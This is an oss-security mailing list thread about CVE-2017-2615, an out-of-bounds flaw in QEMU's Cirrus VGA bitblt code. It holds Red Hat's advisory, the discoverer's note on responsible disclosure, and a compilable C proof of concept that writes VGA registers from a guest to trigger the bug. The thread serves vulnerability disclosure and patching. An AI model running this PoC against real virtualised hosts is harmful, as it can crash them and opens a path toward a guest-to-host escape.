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Date: Wed, 22 Feb 2017 03:43:06 +0000
From: 李强 <liqiang6-s@....cn>
To: oss security list <oss-security@...ts.openwall.com>
CC: P J P <ppandit@...hat.com>
Subject: RE: CVE-2017-2615 Qemu: display: cirrus: oob access while doing
 bitblt copy backward mode

FYI

The PoC for this is below:

/*
 *  CVE-2017-2615 PoC
 *
 *  Qiang Li of the Gear Team, Qihoo 360 Inc.
 *
 *  #gcc poc.c -o poc
 *  #./poc
 *
*/
#include <sys/io.h>
#include <stdio.h>

void write_sr(int idx,int val)
{
      outb(idx,0x3c4);
	outb(val,0x3c5);
}
void write_gr(int idx,int val)
{
	outb(idx,0x3ce);
	outb(val,0x3cf);
}


int main()
{
	iopl(3);
	write_sr(0x07,1);
	write_gr(0x31,0x80);
	write_gr(0x26,0xff);
	write_gr(0x27,0xff);
	write_gr(0x24,1);
	write_gr(0x20,0xff);
	write_gr(0x21,0xff);
	write_gr(0x22,0x0);
	write_gr(0x23,0x0);

	write_gr(0x28,0);
	write_gr(0x29,0);
	write_gr(0x2a,0);
	write_gr(0x2c,0xff);
	write_gr(0x2d,0xff);
	write_gr(0x2e,0xff);

	write_gr(0x30,1);
	write_gr(0x2a,0);

    return 0;
}


Thanks.

--
Li Qiang / the Gear Team, Qihoo 360 Inc

> -----Original Message-----
> From: 李强
> Sent: Monday, February 13, 2017 8:22 PM
> To: oss security list
> Cc: 'P J P'
> Subject: RE: CVE-2017-2615 Qemu: display: cirrus: oob access while doing bitblt
> copy backward mode
> 
> Hello all,
> 
> This is Li Qiang from the Gear Team, Qihoo 360 inc. I have discovered this
> vulnerability and make a patch for this, though not complete. When I send
> patch to fix this issue, I did know the Cirrus vga is not the default vga in qemu.
> So I just treat this as a normal issue. But afterwards we discovered that the
> libvirt and xen use this vga as default.
> We tested a lot of cloud platform in China, every of them uses the Cirrus vga as
> default. Most of them is affected by this issue. The only one doesn't be affected
> I think have fixed this issue. So we think this issue should be got more attention.
> We strongly commend every cloud platform treat this issue seriously. Though
> this vulnerability has been fixed for 10+ days, For responsible vulnerability
> disclosure, we will not public the PoC in this email. The PoC will be public later.
> 
> Thanks.
> 
> --
> Li Qiang / the Gear Team, Qihoo 360 Inc.
> 
> 
> > -----Original Message-----
> > From: P J P [mailto:ppandit@...hat.com]
> > Sent: Wednesday, February 01, 2017 5:50 PM
> > To: oss security list
> > Cc: 李强
> > Subject: CVE-2017-2615 Qemu: display: cirrus: oob access while doing
> > bitblt copy backward mode
> >
> >    Hello,
> >
> > Quick emulator(Qemu) built with the Cirrus CLGD 54xx VGA Emulator
> > support is vulnerable to an out-of-bounds access issue. It could occur
> > while copying VGA data via bitblt copy in backward mode.
> >
> > A privileged user inside guest could use this flaw to crash the Qemu
> > process resulting in DoS OR potentially execute arbitrary code on the
> > host with privileges of Qemu process on the host.
> >
> > Upstream patch
> > --------------
> >    ->
> > https://lists.gnu.org/archive/html/qemu-devel/2017-02/msg00015.html
> >
> > It fixes
> >    ->
> >
> http://git.qemu.org/?p=qemu.git;a=commit;h=d3532a0db02296e687711b8cdc
> > 7791924efccea0
> >
> > Reference:
> > ----------
> >    -> https://bugzilla.redhat.com/show_bug.cgi?id=1418200
> >
> > This issue was reported by Li Qiang of 360.cn Inc.
> >
> > CVE-2017-2615 was assigned to this issue by Red Hat Inc.
> >
> > Thank you.
> > --
> > Prasad J Pandit / Red Hat Product Security Team 47AF CE69 3A90 54AA
> > 9045
> > 1053 DD13 3D32 FE5B 041F

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